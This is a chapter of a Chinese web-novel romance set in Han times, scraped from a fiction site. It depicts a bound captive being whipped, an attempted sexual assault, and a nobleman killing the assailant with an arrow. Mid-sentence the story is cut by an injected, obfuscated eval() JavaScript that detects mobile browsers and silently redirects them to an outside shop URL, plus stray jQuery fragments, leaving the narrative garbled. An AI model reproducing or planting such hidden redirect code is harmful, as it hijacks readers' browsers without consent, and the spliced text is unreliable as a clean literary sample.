文趣网 > 其他小说 > 鹤落雄巢 > 4. 第四章【山隅雨,乍识君】
    林间,萧萧山雨初停。

    风吹在被雨打湿的枝叶上,散落真珠。

    江鹤月被人绑在马上,如同对待战俘一般。

    她视线聚在一起狠狠盯着前方那人,恨不能当场剜穿那只光皙手背。

    那只适才持握刀柄的手,就在她被他的侍卫拿下,虚浮地被拖开身后,脚下半扇鹞鹰的羽翅当场显露于众。

    那人恰好垂眸扫来,冷冷扫过地上那半扇羽翅,没说话,只弯了弯嘴角,可那笑意根本没进他傲然的眼睛,却直直扎进她心底。

    讽笑,被他人赃并获。

    他靴底复又碾上地面木屑发出轻响,一步一步敲在人心上,走到她面前,那对针绣壮丽、线条明畅的天水纹足靴才停下。

    手的主人,用冰凉的刀柄冷冷贴在了她的下颌,逼得她不得不抬头,仰视他。

    未呈跪姿,脊梁骨却在他的威压下渐渐发颤。

    他也未置一词,江鹤月却清晰地读出了他眼中的讥诮鄙薄。

    尽管当初锒铛入狱,遭人唾骂,还有特意派人来狱中轻贱侮辱的,她也未曾感到过一丝一毫的羞辱。

    才来到这里,两次,皆拜他所赐。

    如今还被当作阶下囚,绑在马背上做俘虏,这笔账,她记死了。

    此人,不知有何来历,随身一大批侍从,还持有御刀,想必非寻常富贵。

    她虽然也是下山,却并非循着她的原定计划,而是以一名他俘虏的身份,被他强行带出山。

    路上,江鹤月一直死死咬着下唇,一声不吭,半分不愿示弱。绑在腕上的马绳紧勒进皮肉,挣动间,道道细碎血丝缓缓渗出,肌肤一阵阵刺痛。

    “郎君,这女子长得倒是真标致,言行虽然荒诞不实,但细细品来也别有一番滋味,可否网开一面,赏给仆如何?跟着您这么多年,第一次遇到如此合眼缘的,往后必定好好待她。”

    随行的侍从,她还记得,就是先头那名侍从,对方已按捺不住,勒了马绳凑上前向郎君讨要,眼睛一落在江鹤月的脸上,却再难挪开。

    他敢开口,自然是主上向来不吝赐赏,心情好时,美婢贵女,一次便能赏赐几百人给底下得力之人,这回一个山野女子,想来根本不会放在心上,就等主上松口点头,他便能上前把人抱走。

    这话一出,周围随行的人都跟着低笑起来,不少人目光都在江鹤月脸上打转,满是玩味。

    听到他的话,江鹤月睫羽一颤,更加用力挣起紧缚的马绳,鲜血顺着臂弯往下淌,她抬眼瞪向那名侍从,声音冰冷,化作尖刃:“你敢碰我一下,必让你断子绝孙。”

    两千年以后之人,听完一笑而过的,却是过去最狠最绝最恶的诅咒。

    侍从先是一愣,脸上僵住,随即翻身下马就一鞭子抽来:“好个泼辣的贱皮子,给你脸了是吧!”

    鞭子带风直直朝着江鹤月嘴上抽,周遭的哄笑声顿时噎住,谁也没料到这女子当众放出这种狠话,更没人想到这侍从性子这般急,郎君还未答允,他说动手就动手。

    鞭子落在江鹤月嘴上,她没再有机会开口,便睁大着一双美目,看着他。

    那侍从见她一副无惧无怕跟要出人命的样子,倒更来了火气,几鞭子抽完还不肯罢休,跨步上马,又落下几鞭,随即就要去脱她的衣裳,将她压在身下。

    马背之上,女子喉间突然发出阵阵笑声,山林野地间,那笑竟让人觉得张扬又凄厉。

    围观的人刚觉不妥,还未出声喝止,一支劲箭已破空而来。

    她正决心以牙还牙,摸准了方位,准备一口牙咬上人体颈侧的致命穴,箭直直在她之前穿透过那人的喉咙,一道血花飞溅,落在她脸上。

    连惨叫声都没来得及发出,侍从就直挺挺从马背上栽了下去,摔在泥泞里没了动静。

    突如其来的变故里,周遭死一般寂静。

    所有人都僵在原地,不敢抬头,这支箭射来的方向,不是别处,正是前方郎君的马背之上。

    男人骨节分明的手指还搭在汉弓之弦上,连瘫在地上的侍从尸首都没多看一眼,驱马向前,停在横卧马背上的女子身侧,俯瞰那道从她唇角裂开的血迹,血顺着下颌往下淌,染红了半片衣襟。

    他垂下眼,声音真正表露出鄙夷,“大汉刻在将士骨血中的军纪,到你们这,就是摆着看的空文?”

    周围人瞬间伏跪一地,谁也不敢出声为己辩驳求情。

    江鹤月绑在后面的手死死捏紧,抬眼看去,只见男人高大雄朗的身姿,旁人都深陷在血污的颜色中,只有他,明明是操控这一切的人,却偏偏光如日轮,不染尘埃。

    马正不安地刨着蹄子,他自始至终没给伏跪的众人半个眼神,只淡淡一句,“我的俘虏,自然只由我处置。”

    随后,便有人收拾好了现场,恢复成山林原状。

    她被押在了这人的马侧行进,他不再说话,只有缰绳偶尔在那只贵气非凡的手里滑动,缰绳绕了两圈在股掌间。

    胯丨下,马蹄声都自带独有节奏,抖擞自适,仿佛刚才的一箭穿喉,不过是主人路边随手碾死了一只蝼蚁。

    她视线移过去时,正撞进他垂落下来的目光里,那双眼如果非用世间之语描述,那便是双目如悬日,光耀慑人。

    而此时此刻,这双眼带着审视,打量着她,如一件囊中之物。

    她头发散乱,面容覆血。

    “笑声狼狈干涩,跟离魂游荡没任何两样,你从死人堆里爬出来的?”

    他居高而视,竟有沉音在她头顶发出。

    “笑声难听,有人强迫你听了吗?”

    江鹤月抬眼睨他,面上沾血,唇角是凝聚而出的冷笑,话里带针,直往他身上扎。

    他没动怒,指节轻叩了两下马鞍,挑起马鞭抬勾她的下巴,使她再次仰脸逼迫将所有狼狈暴露在他眼底,说话声音一如既往,漫不经心,语气却是一股森冷而生:

    “尖嘴薄舌,嘴倒是够硬,那就来试验一番,让我看看你的骨头有没有嘴上这么硬?”

    她冷眼看他。

    “瞪我?谁让你偏偏落到我这个狠辣又不爱讲道理的人手里,细作。”他恶戾地撂下一句。

    她下颌被那凉硬的马鞭硌到发疼,喉间压着闷哼破口怒骂,他指尖只微微发力,下一刻,彻骨的痛便顺着下颌骨一路钻入她大脑。

    男人瞳孔里翻起几分兴味冷光,语气狡狯:“怎么不骂了?方才硬气都藏去了哪?”

    她咬牙,猛抬起膝盖就往他那边

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900805|212938||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    顶过去,结结实实撞上他小腹,可男子的腹部却坚若金石,这一脚踹上去,反倒是她自己的膝盖吃苦。

    他照常稳稳坐在马上,甚至连眉头都没皱过,只低低嗤笑一声,手腕一翻,马鞭狠狠抽落在她那条不安分的腿上,粗麻混着牛皮的鞭梢直透过纱裙扫过血肉,瞬间撕开一道血口,疼得江鹤月直抽气,额角冒细汗。

    “啊哼——”

    他的力劲天生比常人重数倍,仅一鞭抽下,她腿肚子瞬间就软了下去,若不是被绑在马背上,几乎直接栽倒在地。

    郎君居高垂眸,看着她蜷缩着手指死死瞪着人的模样,指尖又捻了捻马鞭的鞭梢,冷意中裹着几分戏谑漫出来:“这点本事也敢跟我撒野?”

    江鹤月不再说话。

    他见她咬着唇偏开视线不肯应声,手里按着马鞭的力道加重,指腹划过鞭身,语气越发凉薄:“装聋作哑?还想挨下一鞭子?说话。”

    “我想洗脸,”她声音压得很低,一字一顿才挤出来,“脸上沾了刚才的血。”

    冷汗顺着鬓角滑进衣内,腿上的伤口在不停渗血,她每说一个字都牵扯皮肉。

    她偏过头去,视线落在路边的山涧溪泉上,流水淌淌,不去看马背上男人那似笑非笑的表情,指甲在后面已深深掐进掌心,强行压下翻涌的情绪。

    不愿看他一眼,只闭眼等他的回答。

    后面,马背上一名亲信侍从看着她,面带意外,女人跟主上撒娇提要求,并不奇怪,甚至常见;可不论品位从低到高,她们无一例外都会挑时候,趁主上心情好之际软声细语着,就连再骄横的那位,也从不敢在他刚动完杀怒的时候,还一脸千年沉冰样,提这种无关紧要的要求。

    更别说如她这般,明明疼得都快晕厥过去了,还一副油盐不进的冷骨头,半分好颜色都不肯给人,确实少见。

    侍从攥了攥马缰,低下头不敢再多看,更没敢多嘴,只等着主上的指令。

    山风拍浪,江鹤月闭着眼等了半天没听见回应,心沉了下去,正准备再开口,就听见马鞭轻响,带着一身馥香的风从头顶扫过,男人的声音落下来:

    “谁教你的规矩,求我的时候也敢闭眼睛?抬头,睁眼,看着我。”

    江鹤月在黑暗中咬着牙缓了好一会儿,才顺着那道声音慢慢抬起眼。

    入目是男人掌着马鞭的手,一张英伟俊绝的雄容,恰似赤日当空,这光耀般的容色,宛如上古天神临凡。

    她有生之年,确实未曾见过第二张能及得上这张脸的男容,但令人心折的从来不是这张脸,而是那双目光灼灼的眼,有朗日高悬。

    他的瞳仁,并非黑彻到让人望不见底,而像融进一道赤金色泽,如融了烧红的日轮落进眼,望过来时,那阵与生俱来如日当悬,自上而下的压迫感,几乎烧穿人的骨头。

    有个问题她思忖过很久——

    这人,她是否曾经在哪见过?

    似曾相识的直觉,她确信:曾经在何处见到过这种形容,可当她越是竭力翻找记忆,便越是想不起具体出处。

    一叶蔽目,不见泰山,两豆塞耳,不闻雷霆。

    但凡被那双带着赤金光泽的眼睛一盯,浑身血液循环都能慢下半拍,迷失掉自己的本心。